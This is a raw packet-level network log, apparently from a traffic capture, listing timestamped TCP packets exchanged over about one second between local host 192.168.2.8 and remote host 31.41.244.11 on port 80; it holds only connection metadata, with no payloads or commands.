Dec 16, 2024 17:02:15.795805931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.795818090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.795847893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.795874119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.796536922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.796585083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.796619892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.796660900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.796812057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.796858072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.797365904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.797415018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.797511101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.797527075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.797553062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.797585964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.798244953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.798295975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.798379898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.798392057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.798427105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.799122095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.799169064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.799197912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.799242973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.799458027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.799496889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.799968958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800010920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.800100088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800111055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800141096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.800158978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.800762892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800806046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.800908089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800919056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.800954103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.800976038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.801662922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.801708937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.801812887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.801825047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.801855087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.801877022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.802567959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.802627087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.802726984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.802737951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.802776098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804006100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804053068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804132938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804142952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804172993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804193020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804421902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804475069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804568052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804579020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.804615021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.804629087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.805094004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.805144072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.805208921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.805219889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.805253983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.806067944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806116104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.806175947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806185961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806226969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.806797028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806847095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.806940079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806951046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.806988001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.807684898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.807734013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.807826996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.807836056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.807876110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.808521032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.808569908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.808645964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.808655024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.808692932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.809390068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.809439898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.809676886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.809757948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.809907913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.809920073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.809962988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.810630083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.810678959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.810777903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.810800076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.810822964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.810846090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.811580896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.811629057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.811697960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.811707020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.811745882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.812357903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.812407017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.812520981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.812531948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.812567949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.813486099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.813497066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.813543081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.975972891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976062059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.976100922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976116896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976146936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.976174116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.976495028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976543903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.976625919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976664066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.976670027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.976697922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.977289915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.977334976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.977365971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.977377892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.977406979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.977432013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.978053093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.978097916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.978176117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.978187084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.978219032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.978238106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.978898048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.978940964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.979032040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.979077101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.979228973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.979274035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.979361057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.979379892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.979406118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.979425907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.980077028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.980221033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.980232000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.980241060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.980285883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.980931044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.980988026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.981079102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.981090069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.981141090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.981148005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.981930971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.981981039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.982130051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.982141018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.982178926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.982788086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.982847929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.982872963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.982882977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.982923985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.983637094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.983688116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.983802080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.983813047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.983855009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.984455109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.984508038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.984600067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.984623909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.984649897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.984672070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.985331059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.985394955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.985480070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.985492945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.985534906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.985558033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.986368895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.986421108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.986427069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.986438990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.986473083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.986499071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.986983061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.987040043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.987087965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.987103939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.987122059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.987149954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.987879038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.987929106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.988013029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.988025904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.988066912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.988816023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.988872051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.988895893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.988907099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.988940954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.989566088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.989617109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.989696026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.989710093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.989739895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.989762068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.990593910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.990637064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.990771055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.990782976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.990823984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.991240025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.991291046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.991383076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.991400003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.991425037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.991447926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.992105007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.992155075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.992225885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.992240906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.992275000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.992292881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.993006945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.993053913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.993160963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.993172884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.993211031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.993792057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.993841887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.993983030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.994000912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.994031906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.994045973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.994702101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.994750023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.994844913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.994856119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.994900942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.995557070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.995619059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.995644093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.995655060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.995690107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.995718956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.996416092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.996469975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.996542931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.996553898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.996592045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.996611118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.997252941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.997304916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.997386932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.997402906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.997437954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.997454882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.998142004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.998193979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.998266935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.998279095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.998317003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.998338938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.998958111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.999010086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.999125004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.999135017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.999174118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.999198914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.999862909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.999923944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.999960899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.999972105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.000010014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.000036955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.000684977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.000736952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.000813007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.000823021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.000859976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.000886917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.001571894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.001622915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.001801968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.001852989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.001940012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.001950979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.001985073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.002017021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.002697945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.002747059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.002840042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.002850056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.002887964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.003501892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.003547907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.003635883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.003653049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.003680944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.003705978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.004555941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.004604101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.004669905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.004681110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.004718065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.005354881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.005404949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.005414009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.005446911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.168319941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.168399096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.168414116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.168431044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.168463945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.168498039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.169004917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.169022083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.169059038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.169084072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.169154882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.169208050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.169478893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.169495106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.169529915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.169548035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.170005083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170087099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.170103073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170118093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170151949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.170181036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.170794010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170844078 CET	49708	80	192.168.2.8	31.41.244.11
